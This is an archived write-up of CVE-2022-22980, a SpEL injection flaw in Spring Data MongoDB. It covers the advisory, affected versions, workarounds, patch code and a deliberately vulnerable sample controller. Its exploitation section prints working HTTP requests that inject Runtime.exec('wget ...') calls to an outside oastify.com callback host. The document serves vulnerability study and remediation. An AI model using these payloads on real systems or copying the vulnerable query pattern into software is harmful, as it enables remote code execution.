CVE-2022-22980 _ Spring Data MongoDB SpEL ExpInjection
๐ŸŒฟ

CVE-2022-22980 _ Spring Data MongoDB SpEL ExpInjection

๐Ÿ“… [ Archival Date ]
Oct 19, 2022 11:32 PM
โš ๏ธ [ ORIGIN SOURCE ]
๐Ÿท๏ธ [ Tags ]
CVE-2022โ€“22980VMWareSpring Data MongoDB
โœ๏ธ [ Author ]
๐Ÿ’ฃ [ PoC / Exploit ]

MongoDB is a document-oriented NoSQL database with the scalable and flexible that used for high volume data storage. Instead of using tables and rows as in the traditional relational databases, MongoDB makes use of collections and documents. Documents consist of key-value pairs which are the basic unit of data in MongoDB.

Spring Data for MongoDB is part of the umbrella Spring Data project which aims to provide a familiar and consistent Spring-based programming model for new datastores while retaining store-specific features and capabilities. The Spring Data MongoDB project provides integration with the MongoDB document database. Key functional areas of Spring Data MongoDB are a POJO centric model for interacting with a MongoDB DBCollection and easily writing a Repository style data access layer.

On 20th June 2022, VMware released a security advisory on its official website that related to SpEL Expression Injection (leads to remote code execution) vulnerability affecting Spring Data MongoDB. You can find detailed information about the CVE-2022-22980 vulnerability in the down below.

Vulnerability A Spring Data MongoDB application is vulnerable to SpEL Injection when using @Query or @Aggregation annotated query methods with SpEL expressions that contain query parameter placeholders for value binding if the input is not sanitized. Alternatively, arrangements that expose repository query methods without involving additional application code (such as Spring Data REST) are vulnerable as well.

Specifically, an application is vulnerable when all of the following are true:

  • a repository query method is annotated with @Query or @Aggregation that make use of SpEL (Spring Expression Language) and use input parameter references (?0, ?1, โ€ฆ) within the SpEL expression
  • the annotated query or aggregation value/pipeline contains SpEL parts using the parameter placeholder syntax within the expression
  • the user supplied input is not sanitized by the application
  • Spring Data MongoDB 3.4.0, 3.3.0 to 3.3.4, and older versions

An application is not vulnerable if any of the following is true:

  • the annotated repository query or aggregation method does not contain expressions
  • the annotated repository query or aggregation method does not use the parameter placeholder syntax within the expression
  • the user supplied input is sanitized by the application
  • the repository is configured to use a QueryMethodEvaluationContextProvider that limits SpEL usage

Affected Versions Spring Data MongoDB 3.4.0, 3.3.0 to 3.3.4, and older versions are affected by CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection vulnerability.

Status Spring Data MongoDB 3.4.1 and 3.3.5, which contain the fixes, have been released.

Mitigation and Suggested Workarounds The preferred response is to update to Spring Data MongoDB 3.4.1 and 3.3.5 or greater. If you have done this, then no workarounds are necessary. However, some may be in a position where upgrading is impossible to do quickly. For that reason, Spring team have provided some workarounds below.

  • Using array syntax: if the application requires dynamic SpEL expressions that are controlled by user input, then rewrite query or aggregation declarations to use parameter references ([0] instead of ?0) within the expression
  • Implementing a custom repository method: Replacing the SpEL expression with a custom repository method implementation is a viable workaround to assemble your dynamic query within the application code. Refer to the reference documentation on repository customization for further details.
  • Sanitize parameters before calling the query method

Patch Analysis: GitHub Issue and Related Commits GitHub issue for SpEL injection vulnerability can be accessible from github.com/spring-projects/spring-data-mongodb/issues/4089. With the help of the two commit in below, related vulnerability has been fixed.

class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {

 ValueProvider valueProvider;
 ExpressionParser expressionParser;
 Supplier<EvaluationContext> evaluationContext;

 public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
 Supplier<EvaluationContext> evaluationContext) {

 this.valueProvider = valueProvider;
 this.expressionParser = expressionParser;
 this.evaluationContext = evaluationContext;
 }

 @Nullable
 @Override
 public <T> T evaluate(String expression) {
 return evaluateExpression(expression, Collections.emptyMap());
 }

 public EvaluationContext getEvaluationContext(String expressionString) {
 return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
 }

 public SpelExpression getParsedExpression(String expressionString) {
 return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
 .parseExpression(expressionString);
 }

 public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {

 SpelExpression expression = getParsedExpression(expressionString);
 EvaluationContext ctx = getEvaluationContext(expressionString);
 variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));

 Object result = expression.getValue(ctx, Object.class);
 return (T) result;
 }
}

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java

image
image
package org.springframework.data.mongodb.util.json;

import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;

import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;

/**
 * Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
 * To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
 *
 * @author Christoph Strobl
 * @author Mark Paluch
 * @since 2.2
 */
public class ParameterBindingContext {

 private final ValueProvider valueProvider;
 private final SpELExpressionEvaluator expressionEvaluator;

 /**
 * @param valueProvider
 * @param expressionParser
 * @param evaluationContext
 */
 public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
 EvaluationContext evaluationContext) {
 this(valueProvider, expressionParser, () -> evaluationContext);
 }

 /**
 * @param valueProvider
 * @param expressionParser
 * @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
 * @since 2.2.3
 */
 public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
 Supplier<EvaluationContext> evaluationContext) {
 this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
 }

 /**
 * @param valueProvider
 * @param expressionEvaluator
 * @since 3.1
 */
 public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
 this.valueProvider = valueProvider;
 this.expressionEvaluator = expressionEvaluator;
 }

 /**
 * Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
 * {@link EvaluationContext} based on {@link ExpressionDependencies}.
 *
 * @param valueProvider
 * @param expressionParser
 * @param contextFunction
 * @return
 * @since 3.1
 */
 public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
 Function<ExpressionDependencies, EvaluationContext> contextFunction) {

 return new ParameterBindingContext(valueProvider,
 new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {

 @Override
 public EvaluationContext getEvaluationContext(String expressionString) {

 Expression expression = getParsedExpression(expressionString);
 ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
 return contextFunction.apply(dependencies);
 }
 });
 }

 @Nullable
 public Object bindableValueForIndex(int index) {
 return valueProvider.getBindableValue(index);
 }

 @Nullable
 public Object evaluateExpression(String expressionString) {
 return expressionEvaluator.evaluate(expressionString);
 }

 @Nullable
 public Object evaluateExpression(String expressionString, Map<String, Object> variables) {

 if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
 return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
 variables);
 }
 return expressionEvaluator.evaluate(expressionString);
 }

 public ValueProvider getValueProvider() {
 return valueProvider;
 }
}

And thanks to the re-arrangement of ParameterBindingJsonReader.java class, it ensured that the parameter type is preserved when binding parameters used within the value of the Query or Aggregation annotation. You can see commit changes on ParameterBindingJsonReader.java class in down below screenshots:

image
image
image

Exploitation Steps Before explaining the exploitation steps, the UserRepository.java class of sample vulnerable project (using @Query annotation) is illustrated as follow:

package com.example.mongodb.repository;

import org.springframework.data.mongodb.repository.MongoRepository;

import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;

public interface UserRepository extends MongoRepository<User, String> {

 @Query("{ 'userName' : ?#{?0}}")
 public User findByUserNameLike(String userName);
}

The sample controller class UserController.java that import com.example.mongodb.repository.UserRepository namespace is also illustrated as follow:

package com.example.mongodb.controller;

import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;

@RestController
@RequestMapping("/v1/user")
public class UserController {

 @Autowired
 private UserRepository userRepository;

 @ResponseStatus(HttpStatus.CREATED)
 @PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
 public User createUser(@RequestBody User user) {
 return userRepository.save(user);
 }

 @PostMapping(value="/get")
 public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
 return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
 }

Exploitation Request & Response

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112

{
 "timestamp": "2022-06-22T14:21:20.604+00:00",
 "status": 500,
 "error": "Internal Server Error",
 "path": "/v1/user/get"
}
image
image
image
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116

keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112

{
 "timestamp": "2022-06-22T14:36:10.827+00:00",
 "status": 500,
 "error": "Internal Server Error",
 "path": "/v1/user/get"
}
image
image

For more information about remediation of this vulnerability, please visit the following resources:

image

Credits: